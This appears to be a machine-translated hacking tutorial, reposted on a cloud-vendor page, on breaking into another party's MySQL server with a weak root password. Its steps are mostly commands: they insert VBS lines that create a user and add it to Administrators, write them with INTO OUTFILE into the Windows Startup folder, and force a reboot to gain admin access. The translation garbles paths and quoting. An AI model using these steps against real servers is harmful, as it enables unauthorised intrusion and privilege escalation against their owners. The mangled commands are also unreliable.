MySQL user Root password is a weak password attack

Source: Internet
Author: User

1. Connect to the MYSQL server of the other party

Mysql-u root-h 192.168.0.1

The mysql.exe program is in the BIN directory where you have installed MYSQL.

2. Let's take a look at some databases on the server.

Mysql> show databases; by default, the MYSQL and TEST databases are installed. If you see other databases, they are user-created databases.

3. Let's enter the database

Mysql> use test; we will enter the test database.

4. Check the data tables in the database.

Mysql> show tables; by default, no table exists in test.

The following are key parts:

5. Create a new table under the TEST database;

Mysql> create table a (cmd text); well, we have created a new table named a. the table only contains one field, the field name is cmd, and the text is text.

6. insert content into the table


Mysql> insert into a values ("set wshshell = createobject (" "wscript. shell ""); mysql> insert into a values ("a = wshshell. run ("cmd.exe/c net user 1/add" ", 0)"); mysql> insert into a values ("B = wshshell. run ("" cmd.exe/c net localgroup Administrators 1/add "", 0 )");
Note that double quotation marks, Parentheses, and "0" must be entered! We will use these three commands to create a VBS script program! 7. Now let's look at what table a has.

Mysql> select * from a; we will see three rows of data in the table, that is, the content we just entered. After confirming that the content you entered is correct, we will proceed to the next step.

8. The output table is a VBS script file.

Mysql> select * from a into outfile "c: docume ~ 1alluse ~ 1. Start the "Start" menu program to start a. vbs ". We enter the content in our table into the Startup Group, which is a VBS script file! Note the "" symbol.

9. You will surely know that you can use MYSQL to output an executable file. Why not use BAT, because there will be an obvious DOS window at startup, and the VBS script can completely hide the window without any error prompt! The script should have been deleted automatically after the script is completed, but the Chinese directory cannot be processed! Okay. Find a tool attack 135 and restart the server. In a few minutes, you will be the administrator.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.